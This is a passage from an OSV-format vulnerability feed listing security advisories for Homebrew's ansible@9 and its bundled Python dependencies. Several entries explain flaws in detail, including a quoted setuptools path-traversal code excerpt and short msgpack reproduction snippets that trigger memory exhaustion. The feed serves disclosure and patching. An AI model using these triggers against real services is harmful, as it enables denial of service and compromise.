ANGELOG-v2.17.rst#security-fixes"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/11/msg00021.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2024-9902","published":"2026-08-13T16:35:23Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-32p4-gm2c-wmch","CVE-2024-9902","PYSEC-2026-1121"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.16.13rc1","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.16.14"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.16.14","key":"pkg:pypi/ansible-core@2.16.14","resource":"ansible-core"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"ansible-core Incorrect Authorization vulnerability","details":"A flaw was found in Ansible. The ansible-core `user` module can allow an unprivileged user to silently create or replace the contents of any file on any system path and take ownership of it when a privileged user executes the `user` module against the unprivileged user's home directory. If the unprivileged user has traversal permissions on the directory containing the exploited target file, they retain full control over the contents of the file as its owner.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:L"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-9902"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/03794735d370db98a5ec2ad514fab2b0dd22d6be"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/03daf774d0d80fb7235910ed1c2b4fbcaebdfe65"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/3b6de811abea0a811e03e3029222a7e459922892"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/9d7312f695639e804d2caeb1d0f51c716a9ac7dd"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/f7be90626da3035c697623dcf9c90b7a0bc91c92"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:10762"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:8969"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2024:9894"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2025:1861"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2024-9902"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2318271"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/11/msg00021.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2025-14010","published":"2026-08-13T16:35:22Z","modified":"2026-10-07T22:51:26Z","upstream":["GHSA-8ggh-xwr9-3373","CVE-2025-14010","PYSEC-2026-1119"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.2.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Community General Collection is vulnerable to exposure of sensitive information","details":"A flaw was found in ansible-collection-community-general. This vulnerability allows for information exposure (IE) of sensitive credentials, specifically plaintext passwords, via verbose output when running Ansible with debug modes. Attackers with access to logs could retrieve these secrets and potentially compromise Keycloak accounts or administrative access.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-14010"},{"type":"WEB","url":"https://github.com/ansible-collections/community.general/issues/11000"},{"type":"WEB","url":"https://github.com/ansible-collections/community.general/commit/08e56bbb9b57740a879d3057d84cdb02a162b840"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2025-14010"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2418774"},{"type":"PACKAGE","url":"https://github.com/ansible-collections/community.general"},{"type":"WEB","url":"https://github.com/ansible-community/ansible-build-data/blob/12.2.0/12/CHANGELOG-v12.md#security-fixes"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2025-27516","published":"2026-08-13T16:35:23Z","modified":"2026-09-17T17:30:02Z","upstream":["GHSA-cpwx-vrp4-4pq7","CVE-2025-27516","PYSEC-2026-1471"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"},{"fixed":"9.13.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.6","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja2 vulnerable to sandbox breakout through attr filter selecting format method","details":"An oversight in how the Jinja sandboxed environment interacts with the `|attr` filter allows an attacker that controls the content of a template to execute arbitrary Python code.\n\nTo exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates.\n\nJinja's sandbox does catch calls to `str.format` and ensures they don't escape the sandbox. However, it's possible to use the `|attr` filter to get a reference to a string's plain format method, bypassing the sandbox. After the fix, the `|attr` filter no longer bypasses the environment's attribute lookup.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-cpwx-vrp4-4pq7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-27516"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/90457bbf33b8662926ae65cdde4c4c32e756e403"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/04/msg00022.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/04/msg00045.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2025-47273","published":"2026-08-13T16:35:23Z","modified":"2026-09-17T17:30:02Z","upstream":["GHSA-5rjg-fvgr-3xxf","BIT-setuptools-2025-47273","CVE-2025-47273","PYSEC-2025-49"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"},{"fixed":"9.13.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"78.1.1","resource":"setuptools","resource_purl":"pkg:pypi/setuptools@80.9.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"setuptools","subject_version":"80.9.0","key":"pkg:pypi/setuptools@80.9.0","resource":"setuptools"}]},"summary":"setuptools has a path traversal vulnerability in PackageIndex.download that leads to Arbitrary File Write","details":"### Summary \nA path traversal vulnerability in `PackageIndex` was fixed in setuptools version 78.1.1\n\n### Details\n```\n    def _download_url(self, url, tmpdir):\n        # Determine download filename\n        #\n        name, _fragment = egg_info_for_url(url)\n        if name:\n            while '..' in name:\n                name = name.replace('..', '.').replace('\\\\', '_')\n        else:\n            name = \"__downloaded__\"  # default if URL has no path contents\n\n        if name.endswith('.[egg.zip](http://egg.zip/)'):\n            name = name[:-4]  # strip the extra .zip before download\n\n -->       filename = os.path.join(tmpdir, name)\n```\n\nHere: https://github.com/pypa/setuptools/blob/6ead555c5fb29bc57fe6105b1bffc163f56fd558/setuptools/package_index.py#L810C1-L825C88\n\n`os.path.join()` discards the first argument `tmpdir` if the second begins with a slash or drive letter.\n`name` is derived from a URL without sufficient sanitization. While there is some attempt to sanitize by replacing instances of '..' with '.', it is insufficient.\n\n### Risk Assessment\nAs easy_install and package_index are deprecated, the exploitation surface is reduced.\nHowever, it seems this could be exploited in a similar fashion like https://github.com/advisories/GHSA-r9hx-vwmv-q579, and as described by POC 4 in https://github.com/advisories/GHSA-cx63-2mw6-8hw5 report: via malicious URLs present on the pages of a package index.\n\n### Impact\nAn attacker would be allowed to write files to arbitrary locations on the filesystem with the permissions of the process running the Python code, which could escalate to RCE depending on the context.\n\n### References\nhttps://huntr.com/bounties/d6362117-ad57-4e83-951f-b8141c6e7ca5\nhttps://github.com/pypa/setuptools/issues/4946","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P"}],"references":[{"type":"WEB","url":"https://github.com/pypa/setuptools/security/advisories/GHSA-5rjg-fvgr-3xxf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-47273"},{"type":"WEB","url":"https://github.com/pypa/setuptools/issues/4946"},{"type":"WEB","url":"https://github.com/pypa/setuptools/commit/250a6d17978f9f6ac3ac887091f2d32886fbbb0b"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/setuptools/PYSEC-2025-49.yaml"},{"type":"PACKAGE","url":"https://github.com/pypa/setuptools"},{"type":"WEB","url":"https://github.com/pypa/setuptools/blob/6ead555c5fb29bc57fe6105b1bffc163f56fd558/setuptools/package_index.py#L810C1-L825C88"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/05/msg00035.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2025-50181","published":"2026-08-13T16:35:23Z","modified":"2026-10-13T22:01:53Z","upstream":["GHSA-pq67-6m6q-mj2v","CVE-2025-50181","PYSEC-2026-1999"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"},{"fixed":"9.13.0_1"},{"introduced":"9.13.0_3"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.5.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.3.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.3.0","key":"pkg:pypi/urllib3@2.3.0","resource":"urllib3"}]},"summary":"urllib3 redirects are not disabled when retries are disabled on PoolManager instantiation","details":"urllib3 handles redirects and retries using the same mechanism, which is controlled by the `Retry` object. The most common way to disable redirects is at the request level, as follows:\n\n```python\nresp = urllib3.request(\"GET\", \"https://httpbin.org/redirect/1\", redirect=False)\nprint(resp.status)\n# 302\n```\n\nHowever, it is also possible to disable redirects, for all requests, by instantiating a `PoolManager` and specifying `retries` in a way that disable redirects:\n\n```python\nimport urllib3\n\nhttp = urllib3.PoolManager(retries=0)  # should raise MaxRetryError on redirect\nhttp = urllib3.PoolManager(retries=urllib3.Retry(redirect=0))  # equivalent to the above\nhttp = urllib3.PoolManager(retries=False)  # should return the first response\n\nresp = http.request(\"GET\", \"https://httpbin.org/redirect/1\")\n```\n\nHowever, the `retries` parameter is currently ignored, which means all the above examples don't disable redirects.\n\n## Affected usages\n\nPassing `retries` on `PoolManager` instantiation to disable redirects or restrict their number.\n\nBy default, requests and botocore users are not affected.\n\n## Impact\n\nRedirects are often used to exploit SSRF vulnerabilities. An application attempting to mitigate SSRF or open redirect vulnerabilities by disabling redirects at the PoolManager level will remain vulnerable.\n\n## Remediation\n\nYou can remediate this vulnerability with the following steps:\n\n * Upgrade to a patched version of urllib3. If your organization would benefit from the continued support of urllib3 1.x, please contact [sethmichaellarson@gmail.com](mailto:sethmichaellarson@gmail.com) to discuss sponsorship or contribution opportunities.\n * Disable redirects at the `request()` level instead of the `PoolManager()` level.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-pq67-6m6q-mj2v"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-50181"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/f05b1329126d5be6de501f9d1e3e36738bc08857"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.5.0"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2025-66418","published":"2026-08-13T16:35:23Z","modified":"2026-10-07T22:51:31Z","upstream":["GHSA-gm62-xv2j-4w53","CVE-2025-66418","PYSEC-2026-1998"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.6.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.3.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.3.0","key":"pkg:pypi/urllib3@2.3.0","resource":"urllib3"}]},"summary":"urllib3 allows an unbounded number of links in the decompression chain","details":"## Impact\n\nurllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., `Content-Encoding: gzip, zstd`).\n\nHowever, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data.\n\n\n## Affected usages\n\nApplications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly.\n\n\n## Remediation\n\nUpgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5.\n\nIf upgrading is not immediately possible, use [`preload_content=False`](https://urllib3.readthedocs.io/en/2.5.0/advanced-usage.html#streaming-and-i-o) and ensure that `resp.headers[\"content-encoding\"]` contains a safe number of encodings before reading the response content.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-gm62-xv2j-4w53"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66418"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/24d7b67eac89f94e11003424bcf0d8f7b72222a8"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2025-66471","published":"2026-08-13T16:35:23Z","modified":"2026-10-07T22:51:31Z","upstream":["GHSA-2xpw-w6gg-jr37","CVE-2025-66471","PYSEC-2026-1994"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.6.0","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.3.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.3.0","key":"pkg:pypi/urllib3@2.3.0","resource":"urllib3"}]},"summary":"urllib3 streaming API improperly handles highly compressed data","details":"### Impact\n\nurllib3's [streaming API](https://urllib3.readthedocs.io/en/2.5.0/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once.\n\nWhen streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation.\n\nThe decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data.\n\n\n### Affected usages\n\nApplications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources.\n\n`stream()`, `read(amt=256)`, `read1(amt=256)`, `read_chunked(amt=256)`, `readinto(b)` are examples of `urllib3.HTTPResponse` method calls using the affected logic unless decoding is disabled explicitly.\n\n\n### Remediation\n\nUpgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount.\n\nIf your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the `urllib3[brotli]` extra in the patched versions of urllib3.\n\n\n### Credits\n\nThe issue was reported by @Cycloctane.\nSupplemental information was provided by @stamparm during a security audit performed by [7ASecurity](https://7asecurity.com/) and facilitated by [OSTIF](https://ostif.org/).","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-2xpw-w6gg-jr37"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-66471"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/c19571de34c47de3a766541b041637ba5f716ed7"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/d0fde3672e4a4093f7587858dccfc298eb66e46c"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-2xpw-w6gg-jr37"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2026-1994.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://pypi.org/project/urllib3"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2025-69277","published":"2026-08-13T16:35:23Z","modified":"2026-10-07T22:51:30Z","upstream":["GHSA-mrfv-m5wm-5w6w","CVE-2025-69277","PYSEC-2026-1448","PYSEC-2026-3002"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.6.2","resource":"pynacl","resource_purl":"pkg:pypi/pynacl@1.6.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pynacl","subject_version":"1.6.0","key":"pkg:pypi/pynacl@1.6.0","resource":"pynacl"}]},"summary":"libsodium has Incomplete List of Disallowed Inputs","details":"libsodium before ad3004e, in atypical use cases involving certain custom cryptography or untrusted data to crypto_core_ed25519_is_valid_point, mishandles checks for whether an elliptic curve point is valid because it sometimes allows points that aren't in the main cryptographic group.\n\nThis advisoory lists packages in the GitHub Advisory Database's [supported ecosystems](https://github.com/github/advisory-database?tab=readme-ov-file#supported-ecosystems) that are affected by this vulnerability due to a vulnerable dependency.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69277"},{"type":"WEB","url":"https://github.com/pyca/pynacl/issues/920"},{"type":"WEB","url":"https://github.com/hdwallet-io/python-hdwallet/pull/124"},{"type":"WEB","url":"https://github.com/jedisct1/libsodium/commit/ad3004ec8731730e93fcfbbc824e67eadc1c1bae"},{"type":"WEB","url":"https://github.com/paragonie/sodium_compat/commit/2cb48f26130919f92f30650bdcc30e6f4ebe45ac"},{"type":"WEB","url":"https://github.com/paragonie/sodium_compat/commit/4714da6efdc782c06690bc72ce34fae7941c2d9f"},{"type":"WEB","url":"https://github.com/pyca/pynacl/commit/96314884d88d1089ff5f336dba61d7abbcddbbf7"},{"type":"WEB","url":"https://github.com/pyca/pynacl/commit/ecf41f55a3d8f1e10ce89c61c4b4d67f3f4467cf"},{"type":"WEB","url":"https://00f.net/2025/12/30/libsodium-vulnerability"},{"type":"WEB","url":"https://github.com/FriendsOfPHP/security-advisories/blob/master/paragonie/sodium_compat/2025-12-30.yaml"},{"type":"PACKAGE","url":"https://github.com/paragonie/sodium_compat"},{"type":"WEB","url":"https://ianix.com/pub/ed25519-deployment.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/01/msg00004.html"},{"type":"WEB","url":"https://news.ycombinator.com/item?id=46435614"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2026-11332","published":"2026-08-13T16:35:23Z","modified":"2026-10-07T22:51:28Z","upstream":["GHSA-w8p5-mx5w-cpqj","CVE-2026-11332","PYSEC-2026-3458"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.16.19rc1","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.16.14"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.16.14","key":"pkg:pypi/ansible-core@2.16.14","resource":"ansible-core"}]},"summary":"ansible-core: Argument injection in ansible-galaxy role install leads to arbitrary code execution","details":"A flaw was found in ansible-core. The ansible-galaxy role install command processes dependency specifications from a role's meta/requirements.yml file. Due to improper neutralization of argument delimiters, a malicious role author can inject arbitrary git configuration flags through the src field. This allows arbitrary code execution on the machine of a user who installs the role via ansible-galaxy role install.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-11332"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/87070"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/edee59aa15abcc74d920bb3e9c3835ab8db05a2f"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-11332"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2485379"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-11332.json"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2026-114605","published":"2026-10-28T08:37:42Z","modified":"2026-11-13T08:42:27Z","upstream":["GHSA-45c3-73f7-pv4m","CVE-2026-114605"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.9.0","resource":"dnspython","resource_purl":"pkg:pypi/dnspython@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"dnspython","subject_version":"2.8.0","key":"pkg:pypi/dnspython@2.8.0","resource":"dnspython"}]},"summary":"dnspython dns.name.from_wire_parser() excessive CPU use","details":"### Impact\nA maliciously crafted DNS message may cause dns.name.from_wire_parser() to use excessive CPU for DNS name decompression.  Applications that process untrusted DNS wire form messages with dnspython may be degraded or DoS'd by the extra CPU use required.\n\n### Patches\nThis problem is fixed in dnspython 2.9.0.\n\n### Workarounds\nThere are no known workarounds.\n\n### Credit\nEvgenios Gkritsis, Department of Informatics, University of Piraeus & Athena Research Center, Greece\nConstantinos Patsakis, Department of Informatics, University of Piraeus & Athena Research Center, Greece\nGeorge Stergiopoulos, Department of Informatics, Athens University of Economics and Business, Greece","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/rthalley/dnspython/security/advisories/GHSA-45c3-73f7-pv4m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114605"},{"type":"WEB","url":"https://github.com/rthalley/dnspython/commit/b485e460c266540a1a09ca6d8d1d7b685b1d3023"},{"type":"PACKAGE","url":"https://github.com/rthalley/dnspython"},{"type":"WEB","url":"https://github.com/rthalley/dnspython/releases/tag/v2.9.0"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/11/msg00017.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2026-114613","published":"2026-10-28T08:37:42Z","modified":"2026-10-28T08:37:42Z","upstream":["GHSA-j586-36cw-2gc2","CVE-2026-114613"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"9.6.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.2.3","resource":"msgpack","resource_purl":"pkg:pypi/msgpack@1.1.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"msgpack","subject_version":"1.1.2","key":"pkg:pypi/msgpack@1.1.2","resource":"msgpack"}]},"summary":"MessagePack: Unbounded memory leak in msgpack C extension on strict_map_key validation failure","details":"### Impact\n\nThe msgpack-python C extension (`msgpack._cmsgpack`) leaks a decoded map value when deserialization rejects a key with `strict_map_key=True` (the default). Repeated malformed inputs can cause unbounded process memory growth and denial of service in applications that deserialize attacker-controlled MessagePack data. Both `unpackb()` and the streaming `Unpacker` API are affected. The pure-Python fallback does not exhibit this leak in the reported tests.\n\nThe report measured approximately 4 MiB retained per failed parse and 100 MiB after 25 failed parses on Windows with Python 3.14 and msgpack 1.2.2. These are reporter-provided results.\n\n### Additional impact: stale parser-stack references\n\nThe reference-ownership audit performed while fixing this leak found an\nadditional memory-safety issue in the streaming `Unpacker`.\n\nAfter `unpack()` completed a nested container, an inactive parser-stack slot\ncould retain a non-owning pointer to the decoded object. A subsequent `skip()`\ncould reactivate that slot. If parsing then failed, context cleanup treated the\nstale pointer as an owned reference and decremented it.\n\nThis corrupts the object's reference count and can result in a use-after-free\nor double `Py_DECREF` when its actual owners later release it.\n\nAlthough few users use this API, but those who do may experience crashes or unexpected errors due to a use-after-free.\n\n### Details\n\nIn `msgpack/unpack.h`, `unpack_callback_map_item()` rejects keys that are neither `str` nor `bytes`. At this point the map value has already been constructed. The early error return does not release the value reference.\n\nIn `msgpack/unpack_template.h`, the value is held in the local `obj` in `unpack_execute()`. The `CT_MAP_VALUE` error path jumps to `_failed` without decrementing that reference. Cleanup of the parser stack does not recover the value because it is not stored in the stack. The fallback checks the key before decoding the value.\n\n### Affected versions\n\nThe report reproduces the issue on **1.2.2** and reports it on development commit `475c1b7`. The affected-product field lists the reproduced release only; it is not a claim that earlier releases are unaffected.\n\nThe earliest affected release needs confirmation: the report's summary says 1.1.x through 1.2.2, while its root-cause analysis attributes introduction to commit `cd81370` (PR #673). Resolve this discrepancy before publishing a definitive affected-version range.\n\n### Reproduction\n\nRun in a disposable local process with the C extension installed:\n\n```python\nimport msgpack\n\npayload = msgpack.packb({42: b\"A\" * (4 * 1024 * 1024)}, use_bin_type=True)\nmsgpack.unpackb(payload)  # Raises ValueError; the report observes a 4 MiB leak.\n```\n\nStreaming API trigger:\n\n```python\nimport msgpack\n\npayload = msgpack.packb({42: b\"A\" * (4 * 1024 * 1024)}, use_bin_type=True)\nu = msgpack.Unpacker()\nu.feed(payload)\nlist(u)  # Same strict_map_key error path.\n```\n\n### Workarounds\n\nThe pure-Python fallback is reported not to leak on this path and may be used as a temporary workaround after application compatibility and performance checks. Request-size and rate limits may reduce the impact but do not eliminate cumulative 